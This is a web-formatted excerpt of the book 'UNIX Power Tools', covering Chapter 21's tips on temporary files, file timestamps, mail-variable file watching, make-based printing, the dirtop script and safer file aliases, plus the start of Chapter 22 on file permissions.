rcsrevs accepts rlog options to control what revisions are shown. So rcsrevs -r2 somefile would list only revisions 2.0 and above, rcsrevs -sbeta would list the revisions in beta state, and so on.

- JP

Previous: 20.14 RCS Basics | UNIX Power Tools | Next: 21. More About Managing Files
20.14 RCS Basics | Book Index | 21. More About Managing Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] More About Managing Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.15 List RCS Revision Numbers with rcsrevs Chapter 21

21. More About Managing Files

Contents:
A Grab-Bag
A Better Place for Temporary Files: /tmp
Unique Names for Temporary Files
Why Both /tmp and /usr/tmp?
What Good Is a File's Last Access Time?
A File's Inode Change (not "Creation"!) Time
Setting File Modification Time with touch
The MAILCHECK and mail Variables Check More than Mail
Keep File Printouts Up-to-Date Automatically with make
Keep a Directory Listing at Top of the Screen: dirtop
Safer Removing, Moving, and Copying
Copying Files to a Directory
Read an Inode with stat
Automatically Appending the Date to a Filename

21.1 A Grab-Bag

Let's face it, even in a book as loosely structured as this one, there are things that don't quite fit. This chapter gave us a place to say a few things about files that we just didn't manage to cover anywhere else.

The chapter is short, and it's late, so I'm not even going to bother with the summary I might otherwise attempt in a situation like this. Just dive in.

- TOR

Previous: 20.15 List RCS Revision Numbers with rcsrevs | UNIX Power Tools |
20.15 List RCS Revision Numbers with rcsrevs | Book Index | 21.2 A Better Place for Temporary Files: /tmp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.2 A Better Place for Temporary Files: /tmp

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.1 A Grab-Bag Chapter 21
More About Managing Files 		Next: 21.3 Unique Names for Temporary Files

21.2 A Better Place for Temporary Files: /tmp

How many times have you made a little test file for something:

% grep foo bar > baz

then forgotten to remove baz-and found it, weeks later, cluttering up your directory and wasting disk space? Yeah, me too. So I decided to make my temporary files in the system temporary-file directory, /tmp.

Everyone on the system has permission to write files there. Because there are lots of temporary files, it's good to use a name that won't conflict with other people's files (21.3).

If your file doesn't have world permission (22.4, 22.2), other people on the system won't be able to read or write it. But they may be able to rename or remove it (23.10) unless the /tmp directory's sticky bit (22.6) is set. That usually isn't a problem, but you should know that it can happen.

Most systems delete leftover files in /tmp every day or so, when the filesystem fills up, or at least when the system is rebooted. So, don't use /tmp for a file that you want to keep for a while. Your system may have other directories for temporary files, like /usr/tmp (21.4), that aren't erased as often. Your system administrator should be able to tell you.

- JP

Previous: 21.1 A Grab-Bag | UNIX Power Tools | Next: 21.3 Unique Names for Temporary Files
21.1 A Grab-Bag | Book Index | 21.3 Unique Names for Temporary Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.3 Unique Names for Temporary Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Chapter 21
More About Managing Files

21.3 Unique Names for Temporary Files

All users share /tmp (21.2), so you should make unique filenames there. The best way to do this is by putting $$ in the filename. For example:

% vi /tmp/jerry.$$
"/tmp/jerry.12345" [New file]
% lpr /tmp/jerry.$$
% rm /tmp/jerry.$$

The shell replaces $$ with the shell's PID number (38.3) (in this case, 12345).

If you use a subshell (38.4), or have more than one login session or window, and want to share the same temp file, $$ won't work for you. In that case, just pick a unique name. You could use today's date instead.

To give yourself both options with a minimum of work, here are lines for your shell setup files (2.2). The left column has lines for csh-like shells, and the right is for sh-like shells.

`...`
[n]
.cshrc:		.profile:

set tf=/tmp/jp$$	tf=/tmp/jp$$

.login:		export TF
set date = (`date`)	set `date`
setenv TF /tmp/jp$date[4]	TF=/tmp/jp$4

(The last two lines grab the fourth word - the current time - from the output of the date (51.10) command.) When I want a temporary file in my current shell, I type:

*
% grep foo bar > $tf-1
% grep wheeze bar > $tf-2
% more $tf-*

The shell expands the shell variable (6.8) $tf-1 into a filename like /tmp/jp2345-1, and $tf-* expands into all my temporary files in this shell. Usually, that's great. But if I go to a subshell, do a shell escape, and so on, the temporary files I make with $tf won't be the same as the ones I make in my login shell because the PIDs are different. If I need them to be the same, I use $TF, the environment variable (6.1). It's set to the time I logged in. And because environment variables are passed to child shells, the name (like /tmp/jp09:34:56) will be the same in subshells:

[..]
% someprog > $TF-1
...
% otherprog > $TF-6
% sh
$ head $TF-[16]

If I'll be using a file for more than a minute or two, I might forget what's in which file. So I leave myself a note in shell variables named xfn and environment variables named XFn-where "xf" means "explain file" and n is 1, 2, etc. to correspond to the variable. If I don't remember which have what, I get a list by piping the output of set (for shell variables) or printenv or env (6.1) (for environment variables) through grep. For example:

% sort -t: +2 $tf-2 > $tf-3
% set xf3='sorted list of chapter 21 files'
   ...later...
% set | grep xf
xf1     sorted list of chapter 20 files
xf3     sorted list of chapter 21 files
% lpr $tf-3

csh_logout
sh_logout
 To clean up when I log out, I added the lines that follow to the C shell .logout file. The Bourne shell version is similar, but it needs a couple of tricks to work on some shells; it's on the CD-ROM.

nonomatch
-d |&

$< =~
# CLEAN FILES (IF ANY) OUT OF /tmp:
set nonomatch
set tmpf="\`ls -d $tf-* $TF-* |& grep -v ' not found'\`"
if ( "$tmpf" =~ ?* ) then
    echo; echo "Your files in /tmp:"
    ls -d $tmpf
    echo -n "'rm -rf' them? [ny](n) "
    if ( "$<" =~ y* ) rm -rf $tmpf
endif

If I made any temporary files from my login shell or any subshells, I get this message when I log out:

% logout

Your files in /tmp:
/tmp/jp2345-1   /tmp/jp2345-2  /tmp/jp2748-1  /tmp/09:23:45-1
'rm -rf' them? y

Another way to do this is with a script like del (23.6).

- JP

 | UNIX Power Tools |
21.2 A Better Place for Temporary Files: /tmp | Book Index | 21.4 Why Both /tmp and /usr/tmp?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.4 Why Both /tmp and /usr/tmp?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.3 Unique Names for Temporary Files Chapter 21
More About Managing Files 		Next: 21.5 What Good Is a File's Last Access Time?

21.4 Why Both /tmp and /usr/tmp?

[UNIX traditionally has two places to put temporary files: /tmp and /usr/tmp. This article explains how that started. -JP]

As I understand it, the reason for the /tmp-/usr/tmp split is identical to the reason for the /bin-/usr/bin and /lib-/usr/lib splits and is a historical accident of hardware configuration at the Research system.

At one time (circa the time of the original UNIX paper in CACM), the Research machine was a PDP 11/45 with a fixed-head disk, some RK05s, and an RP03. The root went on the fixed-head disk, since the absence of seek times made it fast. But fixed-head disks (anybody remember them?) were tiny. Two megabytes [sic] was a big fixed-head disk. So you had to be fairly careful to avoid overflowing the root filesystem (which included /tmp-it wasn't a separate filesystem). /usr, on the other hand, was the main filesystem on the 40-MB RP03.

So you had a very sharp split of hardware: things directly under /, like /tmp, /bin, and /lib, were fast but had to be small; things under /usr could be big but accesses to them were slower. So you put the heavily used commands in /bin, the heavily used libraries in /lib, and [flourish of trumpets] the small temporary files in /tmp. All the other slush went under /usr, including a /usr/tmp directory for big temporaries. This is why a few programs like sort (36.1) put their temporaries in /usr/tmp: they expect them to be big. [Though most /usr filesystems are fast these days, a lot of systems still have much more room on /usr/tmp than /tmp. -JP ]

In practice, fixed-head disks are historical relics now, and much of the justification for the various /x-/usr/x splits has disappeared. There is one reason why you might retain a /tmp-/usr/tmp split, however. If your /tmp filesystem is kept in "RAM disk" or something similar for speed, you might want to keep your editor temp files somewhere else if your editor has crash recovery (30.24). Crash recovery definitely works better when the files it is looking for are kept in nonvolatile memory!

- HS in net.unix on Usenet, 19 March 1984

Previous: 21.3 Unique Names for Temporary Files | UNIX Power Tools | Next: 21.5 What Good Is a File's Last Access Time?
21.3 Unique Names for Temporary Files | Book Index | 21.5 What Good Is a File's Last Access Time?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.5 What Good Is a File's Last Access Time?

UNIX Power Tools

UNIX Power ToolsSearch this book
Chapter 21
More About Managing Files 		Next: 21.6 A File's Inode Change (not "Creation"!) Time

21.5 What Good Is a File's Last Access Time?

UNIX keeps three times for each file: last modification, last inode change, and last access. Here are some things you can do with the last-access time:

  • Find files that have been forgotten. This information comes from commands like ls -lu (16.2) and find -atime +180 (17.5). (If you use the MH email system, you can find mail messages that haven't been read or scanned in a long time.) You can save disk space by cleaning up unused files; see article 23.19.

  • Automatically gzip (24.7) files to save disk space. Some users run a shell script named compresser, which looks for nonexecutable files that haven't been accessed in 90 days. The program runs gzip on these files:

    -perm -100
xargs
    find dir1 dir2 -type f ! -name '*.gz' ! -perm -100 -atime +90 -print | \
    xargs gzip -v

    A system like this could automatically archive files to tape and delete them. It could have a personal "skip" list of files and directories to skip. And so on...

  • Check a directory to see which files are being read by programs, compilers, etc. This "sanity check" can help you debug programs by confirming which files are being accessed.

NOTE: Some UNIX systems, including versions of BSD and SunOS, do not update the access time of executable files (programs) when they're executed. To test yours, use ls -lu on a pure-executable file (not a shell script) before and after you run it.

- JP

 | UNIX Power Tools | Next: 21.6 A File's Inode Change (not "Creation"!) Time
21.4 Why Both /tmp and /usr/tmp? | Book Index | 21.6 A File's Inode Change (not "Creation"!) Time
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.6 A File's Inode Change (not "Creation"!) Time

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.5 What Good Is a File's Last Access Time? Chapter 21
More About Managing Files 		Next: 21.7 Setting File Modification Time with touch

21.6 A File's Inode Change (not "Creation"!) Time

An old ls manual page I have says that the ls -c option lists the "time of file creation." Boo, hiss! That's an old UNIX myth. UNIX keeps three times for each file: last modification (mtime), last access (atime) (21.5), and last inode (1.22) modification (ctime). A file's ctime is changed when the file is modified or when something kept in the inode (number of hard links, owner, group, etc.) has been changed. If you need to find out when that time was changed, use ls -lcr or find \-ctime (17.5, 17.7).

Many computer sites check the ctime to decide which files to back up.

- JP

Previous: 21.5 What Good Is a File's Last Access Time? | UNIX Power Tools | Next: 21.7 Setting File Modification Time with touch
21.5 What Good Is a File's Last Access Time? | Book Index | 21.7 Setting File Modification Time with touch
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.7 Setting File Modification Time with touch

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.6 A File's Inode Change (not "Creation"!) Time Chapter 21
More About Managing Files 		Next: 21.8 The MAILCHECK and mail Variables Check More than Mail

21.7 Setting File Modification Time with touch

How can you make a file quickly (often for some kind of test)? In the Bourne shell, use the command below. Because this command uses a built-in (1.10) operator, it's fast and efficient. This creates a new file or empties an existing file:

$ > filename

The C shell doesn't allow that. From the C shell, you can empty a file by copying /dev/null onto it (24.1). The easiest way to create an empty file is with the touch command. touch is also useful from any shell to change an existing file's modification time to "now"-without changing the file's contents (usually for an automatic file time comparison (17.8, 28.13, 21.9)). You can touch more than one file at a time. Just type:

% touch filename1 filename2 ...

touch
 Some versions of touch (including the GNU version on the CD-ROM) can create a file with an arbitrary timestamp. That is, you can use touch to make a file that's backdated to any point in the past (or, for that matter, postdated to some point in the future). If your version can do that, the syntax is probably like:

% touch date filename1 filename2 ...

where date has the form:

modyhrmiyy

and:

mo

is two digits, representing the month.

dy

is two digits, representing the day of the month.

hr

is two digits, representing the hour (on a 24-hour clock).

mi

is two digits, representing the minute within the hour.

yy

is two digits, representing the year (within the twentieth century). These two digits are optional; if you omit them, date assumes the current year.

For example, to create a file dated 4 p.m., March 20 of this year, give the command:

% touch 03201600 foo

If you don't want to use a different timestamp (that is, you want the current time) and the filename starts with a digit, touch might think that the filename is a time and complain "date: bad conversion." To start a filename with a digit, use a relative pathname that starts with a . (dot) (1.21). For example, to make a file123456 in the current directory:

% touch ./123456

Article 22.16 explains cpmod, a program on the CD-ROM for copying dates and permissions from file to file.

- ML, JP

Previous: 21.6 A File's Inode Change (not "Creation"!) Time | UNIX Power Tools | Next: 21.8 The MAILCHECK and mail Variables Check More than Mail
21.6 A File's Inode Change (not "Creation"!) Time | Book Index | 21.8 The MAILCHECK and mail Variables Check More than Mail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.8 The MAILCHECK and mail Variables Check More than Mail

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.7 Setting File Modification Time with touch Chapter 21
More About Managing Files 		Next: 21.9 Keep File Printouts Up-to-Date Automatically with make

21.8 The MAILCHECK and mail Variables Check More than Mail

Depending on how your system is set up, you may notice that it periodically says something like You have new mail. When you run your mail program (1.33), the mail will be waiting for you in your mailbox. You can also use this feature to check for changes in several mailboxes, as well as changes in files and directories that don't hold mail - more about that in a minute.

21.8.1 For C Shell Users

If you use the C shell, this feature is controlled by the mail shell variable (usually set in your .cshrc file (2.3)).

The shell normally checks your mailbox every five minutes. However, you can set a different interval at the start of the list. For example, the command below tells the shell to check my mailbox every 60 seconds:

% set mail=(60 /usr/spool/mail/mikel)

Note that the exact filename depends upon how your mail system is set up. For example, many systems use /usr/mail instead of /usr/spool/mail. Checking for mail takes time and can delay your prompt on busy systems. Don't set a short interval unless you need to.

21.8.1.1 Multiple Mailboxes

Many users need to watch more than one mailbox. For example, I need to watch /usr/spool/mail/mikel; but if I'm responsible for product support, and my company maintains a special mail ID for support questions, I might also want to watch /usr/spool/mail/prodsupport. To do this, we set the mail variable so that it's a list of important files and directories:

% set mail=(/usr/spool/mail/mikel /usr/spool/mail/prodsupport)

When the list has more than one file, the shell will tell you which file has changed with a message like new mail in /usr/spool/mail/prodsupport.

21.8.1.2 Watching Other Files

All mail is doing is looking to see whether or not the file has changed; it doesn't know that it's looking at a "mail" file. Therefore, you can use it to watch anything you want; your list can even include directories. For example, let's say that you're running a program that periodically writes to the file /home/los/mikel/radio/log.out. Then you can set mail as follows:

% set mail=(/home/los/mikel/radio/log.out other-files)

21.8.1.3 Watching Directories

Watching a directory is the same as watching a file; you'll be notified whenever the directory changes (whenever a file is added or deleted in the directory). So let's modify our previous example slightly; let's say that your reports are named /home/los/mikel/radio/log/date, where the date indicates when the report was created. Every report thus generates a new file. In this case, you'd want to watch the log directory for the creation of new files.

% set mail=(/home/los/mikel/radio/log other-files)

Here's another example. Let's say that you suspect someone is using UUCP (1.33) to send company secrets to a system named somewhere. You want to watch this systems's UUCP traffic very carefully. To do so, you can tell the shell to inform you whenever the logfile changes:

% set mail=(5 /usr/spool/uucp/.Log/uucico/somewhere)

We've told the shell to check the log every five seconds because, given that we suspect security problems, we want to get our reports immediately.

If the directory you're watching is actually a symbolic link (18.4) to another directory, be sure to check the actual directory and not the link. The sl (18.8) script is handy for this - or you can use ls -ld (16.8):

% ls -ld /usr/local/logs
lrwxrwxrwx  1 root    15 Jul 10  1990 /usr/local/logs -> /foo/bar/logs
% ls -ld /foo/bar/logs
drwxrwxr-x  2 root  512 Aug 10 12:20 /foo/bar/logs
% set mail=(/foo/bar/logs)

21.8.2 For Bourne Shell Users

Now, let's assume that you're a Bourne shell user, and go through everything once more. The Bourne shell uses three variables to control mail notification. (These are usually set in users' .profile (2.2) files. To make them work in subshells (38.4), export (6.1) the variables.) We'll assume that you read the C shell description already given, and move a bit faster.

First, if you want to check only one file or directory, set the variable MAIL accordingly.

$ MAIL=/usr/spool/mail/mikel
$ export MAIL

NOTE: The next three features don't work on some Bourne shells.

By default, the Bourne shell checks every ten minutes. To check at some other interval, set the variable MAILCHECK to your new interval, in seconds: for example, the command below tells the shell to check every 55 seconds:

$ MAILCHECK=55

One useful trick: if you set MAILCHECK to 0, the shell will check whenever it prints the "primary" prompt (by default, $). In other words, it will check after each command. This may be slow on busy systems.

If you want to watch several files, use the MAILPATH variable. Its value must be a list of file or directory names, separated by colons. For example:

$ MAILPATH=/usr/spool/mail/mikel:/usr/spool/mail/prodsupport

If MAILPATH is set, the shell will ignore the MAIL variable. You can't use both.

Normally, the Bourne shell prints you have mail whenever any file that it's watching changes. However, if you follow a filename in MAILPATH with a percent sign (%) and a message, the shell will print the message whenever the file changes. For example, let's have the shell print you have mail when mail comes in and New log! when a log file changes:

$ MAILPATH=/usr/spool/mail/mikel:/home/mikel/Z/log%"New log!"

You can create a different message for every file that you care about. Note that the Korn shell and bash use ? (a question mark) instead of the % before each message.

- ML

Previous: 21.7 Setting File Modification Time with touch | UNIX Power Tools | Next: 21.9 Keep File Printouts Up-to-Date Automatically with make
21.7 Setting File Modification Time with touch | Book Index | 21.9 Keep File Printouts Up-to-Date Automatically with make
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.9 Keep File Printouts Up-to-Date Automatically with make

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.8 The MAILCHECK and mail Variables Check More than Mail Chapter 21
More About Managing Files 		Next: 21.10 Keep a Directory Listing at Top of the Screen: dirtop

21.9 Keep File Printouts Up-to-Date Automatically with make

A lot of people think that the make (28.13) utility is just for programmers. But it's also good for people who need to do something when files have been modified.

I'll show you a makefile that lets you be sure you have printouts of the latest versions of certain files in a directory. Any time you think files have been modified, just type:

% make print
pr chap1 chap5 | lpr -Pxyz
touch print

make saw that the files chap1 and chap5 had been modified since the last print job. So it used pr and lpr to print the files. Then it ran touch (21.7) to create or update the empty file named print; the "timestamp" (modification time) of this empty file keeps a record of when these other files were printed. Or, the command make printall will print all files any time without updating the print timestamp file.

Here's the makefile. Change the names and the print commands to do what you want. Remember that each command line (here, the lines starting with pr and touch) must start with a TAB character:

LPR = lpr -Pxyz
FILES = preface chap1 chap2 chap3 chap4 chap5 appendix

print: $(FILES)
    pr $? | $(LPR)
    touch print

printall:
    pr $(FILES) | $(LPR)

- JP

Previous: 21.8 The MAILCHECK and mail Variables Check More than Mail | UNIX Power Tools | Next: 21.10 Keep a Directory Listing at Top of the Screen: dirtop
21.8 The MAILCHECK and mail Variables Check More than Mail | Book Index | 21.10 Keep a Directory Listing at Top of the Screen: dirtop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.10 Keep a Directory Listing at Top of the Screen: dirtop

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.9 Keep File Printouts Up-to-Date Automatically with make Chapter 21
More About Managing Files 		Next: 21.11 Safer Removing, Moving, and Copying

21.10 Keep a Directory Listing at Top of the Screen: dirtop

When I'm cleaning out a directory, I'm always using ls to see what files are there. When I have a terminal with windows, I can keep an ls listing in one window and do cleanup in another. In a terminal without windows, I use this script named dirtop. It clears the screen, puts an ls listing at the top of the screen, and sends an escape sequence (5.8) to the terminal that makes the screen top nonscrolling. So, as I type my commands, they scroll "underneath" the ls listing at the top without disturbing it. If I use a command like vi that resets the screen, I just use dirtop again when the command is done. When I'm done, the command dirtop -c clears the screen and makes the whole screen scrollable again.

This script works only on VT100-type terminals and compatibles because the escape sequences are hardcoded into it. It should probably be rewritten to use termcap or terminfo information so it'd work on more terminals. Luckily, there are lots of VT100-compatible terminals and communications programs.

THE...

echo...33'

`..`

#! /bin/sh

ls="/bin/ls -CF"                # ls command to use
maxlines=10     # if more lines in listing than this, quit
# UNCOMMENT THE LINE FOR YOUR SYSTEM:
cmd=echo   c='\c'   e='\033'   n=                       # SysV
#cmd=/usr/5bin/echo   c='\c'   e='\033'   n=            # SunOS
#cmd=/bin/echo   c=   e="`echo e | tr e '\033'`"   n=-n # BSD

case "$1" in
-c) $cmd $n "${e}[r${e}[2J${c}"; exit 0;; # just reset screen
"") ;;
*) echo "Usage: `basename $0` [-c]" 1>&2; exit 1 ;;
esac

temp=/tmp/DIRTOP$$
trap 'rm -f $temp; exit' 0 1 2 15

$ls > $temp
# set number of lines to clear: one more than length of ls listing:
lines=`expr 1 + \`wc -l < $temp\``
if [ $lines -gt $maxlines ]
then
    echo "`basename $0`: Directory listing > $maxlines lines" 1>&2
    exit 1
else
    # CLEAR SCREEN.  SET NO-SCROLL AREA:
    $cmd $n "${e}[2J${c}"
    $cmd $n "${e}[${lines};24r${c}"
    # MOVE CURSOR TO TOP-LEFT CORNER, THEN PRINT LISTING:
    $cmd $n "${e}[0;0f${c}"
    cat $temp
    exit
fi

- JP

Previous: 21.9 Keep File Printouts Up-to-Date Automatically with make | UNIX Power Tools | Next: 21.11 Safer Removing, Moving, and Copying
21.9 Keep File Printouts Up-to-Date Automatically with make | Book Index | 21.11 Safer Removing, Moving, and Copying
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.11 Safer Removing, Moving, and Copying

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.10 Keep a Directory Listing at Top of the Screen: dirtop Chapter 21
More About Managing Files 		Next: 21.12 Copying Files to a Directory

21.11 Safer Removing, Moving, and Copying

rm
 By default, the UNIX utilities rm, mv, and cp do what you tell them to without asking. If that means overwriting existing files or deleting all the files in the directory, they'll do it. If you want more safety, you can add aliases like these to your shell startup files (2.2):

C shell   ksh, bash
alias rm /bin/rm -i   alias rm='/bin/rm -i'
alias cp /bin/cp -i   alias cp='/bin/cp -i'
alias mv /bin/mv -i   alias mv='/bin/mv -i'

(The pathname /bin/ may be different on your system. You may be able to omit it completely, but watch out for alias loops if you do.) Then, when you type cp or mv at the command line, the command will prompt you before destroying an existing file. And the rm command will always prompt you before every file you ask it to remove (with a wildcard, this can take some time!). These aliases set the -i (interactive) option; most versions of cp, mv, and rm have it.

cp
mv
 The GNU versions of cp and mv have -i options. They also have an alternative: the -b option, which automatically makes a backup of any file that will be overwritten.

NOTE: These aliases can be dangerous when you don't have them. If you change to a new shell or use another account without these aliases, you can destroy files before you realize that the aliases aren't there to protect you. So, I don't use any of these aliases on my account. Instead, I check what I type before I press RETURN.

You can override the alias by typing:

% \rm *.o   C shells

$ command rm *.o   bash
$ /bin/rm *.o   Bourne shells

- JP

Previous: 21.10 Keep a Directory Listing at Top of the Screen: dirtop | UNIX Power Tools | Next: 21.12 Copying Files to a Directory
21.10 Keep a Directory Listing at Top of the Screen: dirtop | Book Index | 21.12 Copying Files to a Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.12 Copying Files to a Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.11 Safer Removing, Moving, and Copying Chapter 21
More About Managing Files 		Next: 21.13 Read an Inode with stat

21.12 Copying Files to a Directory

Several commands like cp and mv will let you copy a file to a directory. That is, given the command:

% cp file1 somewhere

if somewhere is a directory, cp copies file1 into the directory, leaving its name unchanged. You get a new file whose relative pathname (1.21) is somewhere/file1. A few commands, for example, mv and ln, have the same behavior.

Of course, this version of the command looks the same as a "regular" cp command. This leads to a common frustration: what if the directory somewhere doesn't exist? Maybe you forgot to create it; maybe you misspelled the name. cp doesn't know that you really meant a directory, so it just copies file1 into a new file, somewhere, in the current directory. There are plenty of situations in which this can be plenty confusing, and even (if you're unlucky) lead to errors.

There's an easy safeguard, though. If you're copying files into a directory, add a slash and dot (/.) after the directory's pathname:

% cp file1 path-to-directory/.

This makes a pathname to the special entry named . (dot) (1.21, 18.2) in the directory somewhere-which is a link to the directory itself. If the directory named somewhere doesn't exist, you'll get an error message:

% cp file1 somewhere/.
cp: somewhere/.: No such file or directory

- ML

Previous: 21.11 Safer Removing, Moving, and Copying | UNIX Power Tools | Next: 21.13 Read an Inode with stat
21.11 Safer Removing, Moving, and Copying | Book Index | 21.13 Read an Inode with stat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.13 Read an Inode with stat

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.12 Copying Files to a Directory Chapter 21
More About Managing Files 		Next: 21.14 Automatically Appending the Date to a Filename

21.13 Read an Inode with stat

The stat program reads an inode (1.22). stat shows you the information that the stat(2) system call gives about a file (or directory or socket or...). The atime (21.5), mtime (16.2), and ctime (21.6) are shown, along with the elapsed time since. For example:

% ls -l ptco
-r-xr-xr-x  2 jerry        3203 Mar 24 05:33 ptco
% stat ptco
  File: "ptco"
  Size: 3203     Allocated Blocks: 8    Filetype: Regular File
  Mode: (0555/-r-xr-xr-x)   Uid: (115/jerry)  Gid: (100/staff)
Device:  7,18  Inode: 172255    Links: 2
Access: Fri May  8 01:00:30 1992(00000.05:48:13)
Modify: Tue Mar 24 05:33:43 1992(00045.00:15:01)
Change: Fri May  8 06:48:42 1992(00000.00:00:02)

- JP

Previous: 21.12 Copying Files to a Directory | UNIX Power Tools | Next: 21.14 Automatically Appending the Date to a Filename
21.12 Copying Files to a Directory | Book Index | 21.14 Automatically Appending the Date to a Filename
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] 21.14 Automatically Appending the Date to a Filename

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.13 Read an Inode with stat Chapter 21
More About Managing Files 		Next: 22. File Security, Ownership, and Sharing

21.14 Automatically Appending the Date to a Filename

I suppose this falls into the category of "stupid tricks" but I still find it useful sometimes. I created a simple alias called vid, which I use to create and edit a file with a date as part of the filename.

I find it handy for repetitive reports and memos.

The alias looks like this:

alias vid "vi \!:1.`date +%m.%d`"

and given an argument like memo or status, appends the date as an extension. Using wildcards, I can then list all my memos of a particular date or a particular subject:

% ls status*
status.02.18
status.03.10
% ls *3.10
budget.03.10
status.03.10

If I wanted to add the year, I'd put a dot or other separator, followed by %y in the specification to the date command.

If you understand backquote interpolation (9.16) and the formats for the date (51.10) command, you can easily develop variations of this alias that work with other commands besides vi.

- TOR

Previous: 21.13 Read an Inode with stat | UNIX Power Tools | Next: 22. File Security, Ownership, and Sharing
21.13 Read an Inode with stat | Book Index | 22. File Security, Ownership, and Sharing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] File Security, Ownership, and Sharing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 21.14 Automatically Appending the Date to a Filename Chapter 22 Next: 22.2 Tutorial on File and Directory Permissions

22. File Security, Ownership, and Sharing

Contents:
Introduction to File Ownership and Security
Tutorial on File and Directory Permissions
Who Will Own a New File?
Setting an Exact umask
Group Permissions in a Directory with the setgid Bit
Protecting Files with the Sticky Bit
Using chmod to Change File Permission
The Handy chmod = Operator
Protect Important Files: Make Them Unwritable
cx, cw, c-w: Quick File Permission Changes
A Loophole: Modifying Files Without Write Access
A Directory that People Can Access but Can't List
Groups and Group Ownership
Add Users to a Group to Deny Permission
Juggling Permissions
Copying Permissions with cpmod
Ways of Improving the Security of crypt
Clear Your Terminal for Security, to Stop Burn-in
Shell Scripts Must be Readable and (Usually) Executable
Why Can't You Change File Ownership Under BSD UNIX?
How to Change File Ownership Without chown
The su Command Isn't Just for the Superuser

22.1 Introduction to File Ownership and Security

Because UNIX is a multiuser system, you need some way of protecting users from one another: you don't want other users to look at the wrong files and find out compromising information about you, or raise their salaries, or something equivalently antisocial. Even if you're on a single-user system, file ownership still has value: it can often protect you from making mistakes, like deleting important executables.

In this chapter, we'll describe how file ownership works: who owns files, how to change ownership, how to specify which kinds of file access are allowed, and so on. We'll also discuss some other ways to prevent people from "prying," like encryption and clearing your screen.

In my opinion, most security breaches arise from mistakes that could easily have been avoided: someone discovers that anyone can read the boss's email, including the messages to his bookie. Once you've read this chapter, you'll understand how to avoid the common mistakes and protect yourself from most intruders.

- ML

Previous: 21.14 Automatically Appending the Date to a Filename | UNIX Power Tools | Next: 22.2 Tutorial on File and Directory Permissions
21.14 Automatically Appending the Date to a Filename | Book Index | 22.2 Tutorial on File and Directory Permissions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.2 Tutorial on File and Directory Permissions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.1 Introduction to File Ownership and Security Chapter 22
File Security, Ownership, and Sharing 		Next: 22.3 Who Will Own a New File?

22.2 Tutorial on File and Directory Permissions

[Think you know all about permissions? Even if you do, skim through this article. Bruce has some good tips. -JP]

There are three basic attributes for plain file permissions: read, write, and execute. Read and write permission obviously let you read the data from a file or write new data to the file. When you have execute permission, you can use the file as a program or shell script. The characters used to describe these permissions are r, w, and x, for execute.

